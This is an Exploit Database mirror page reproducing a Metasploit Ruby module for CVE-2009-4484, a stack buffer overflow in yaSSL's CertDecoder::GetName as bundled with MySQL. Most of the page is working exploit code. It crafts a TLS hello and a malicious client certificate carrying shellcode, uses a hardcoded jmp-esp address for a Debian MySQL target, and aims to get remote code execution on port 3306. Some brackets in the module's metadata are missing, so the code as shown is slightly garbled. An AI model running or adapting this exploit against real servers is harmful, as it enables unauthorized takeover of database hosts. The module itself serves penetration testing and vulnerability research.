MySQL – yaSSL CertDecoder::GetName Buffer Overflow (Metasploit)

Exploit Database
112 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/16850/

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# $Id: mysql_yassl_getname.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)

implementation bundled with MySQL. By sending a specially crafted

client certificate, an attacker can execute arbitrary code.

This vulnerability is present within the CertDecoder::GetName function inside

"taocrypt/src/asn.cpp". However, the stack buffer that is written to exists

within a parent function's stack frame.

NOTE: This vulnerability requires a non-default configuration. First, the attacker

must be able to pass the host-based authentication. Next, the server must be

configured to listen on an accessible network interface.Lastly, the server

must have been manually configured to use SSL.

The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing

on Windows XP SP3, these protections successfully prevented exploitation.

Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is

present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary

package were not exploitable due to the use of the compiler's FORTIFY feature.

Although suse11 was mentioned in the original blog post, the binary package they

provide does not contain yaSSL or support SSL.

'Author' => [ 'jduck' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2009-4484' ],

[ 'BID', '37640' ],

[ 'BID', '37943' ],

[ 'BID', '37974' ],

[ 'OSVDB', '61956' ],

[ 'URL', 'http://secunia.com/advisories/38344/' ],

[ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ]

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 1046,

'BadChars' => "",

'StackAdjustment' => -3500,

'DisableNops' => true

'Platform' => 'linux',

'Targets'=>

[

[ 'Automatic', { } ],

[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)',{ 'JmpEsp' => 0x0807dc34 } ]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jan 25 2010'))

register_options([ Opt::RPORT(3306) ], self)

end

def exploit

connect

# read the mysql server hello :)

version = nil

if (buf = sock.get_once(-1, 5))

#print_status("\n" + Rex::Text.to_hex_dump(buf))

if (buf =~ /is not allowed to connect/)

raise RuntimeError, 'The server refused our connection!'

end

len1,cmd = buf[0,5].unpack('VC')

rest = buf[5,len1]

idx = rest.index("\x00")

if (idx)

version = rest[0,idx]

print_status("Server reports version: #{version}")

end

# handle automatic target selection

mytarget = nil

if (target.name =~ /Automatic/)

print_status("Attempting to locate a corresponding target")

version = "(" + version + ")"

targets.each { |tgt|

if (tgt.name.include?(version))

mytarget = tgt

end

}

if (not mytarget)

raise RuntimeError, 'Unable to detect target automatically'

else

print_status("Using automatically detected target: #{mytarget.name}")

end

else

mytarget = target

print_status("Trying target #{mytarget.name}...")

end

# create/send the hello packet

hello = [0x01000020].pack('V')

hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"

hello << "\x00" * 20

hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"

hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"

hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"

hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"

hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"

hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"

hello << "\x00\x03\x02\x01\x00"

sock.put(hello)

# build a cn that will trigger the vulnerability

cn = rand_text(payload_space - payload.encoded.length)

cn << payload.encoded

cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)

# NOTE: x in above (also gets passed to free())

pad = 1074 - payload_space

cn << rand_text(pad)

cn << [mytarget['JmpEsp']].pack('V')

distance = 4 + pad + 8 + payload.encoded.length

cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

cert = "\x2a\x86\x00\x84"

cert << [cn.length].pack('N')

cert << cn

cert = "\x30"+

"\x82\x01\x01"+

"\x31"+

"\x82\x01\x01"+

"\x30"+

"\x82\x01\x01"+

"\x06"+

"\x82\x00\x02" +

cert

cert = "\xa0\x03" +

"\x02\x01\x02" +

"\x02\x01\x00" +

"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +

cert

# wrap in 2 sequences

cert = SNMP::BER.encode_tlv(0x30, cert)

cert1 = big_endian_24bit(cert.length) + cert

certs = big_endian_24bit(cert1.length) + cert1

handshake = "\x0b" +big_endian_24bit(certs.length) + certs

msg = "\x16\x03\x01"

msg << [handshake.length].pack('n')

msg << handshake

sock.put(msg)

handler

disconnect

end

def big_endian_24bit(len)

uno = (len >> 16) & 0xff

dos = (len >> 8) & 0xff

tre = len & 0xff

[uno,dos,tre].pack('C*')

end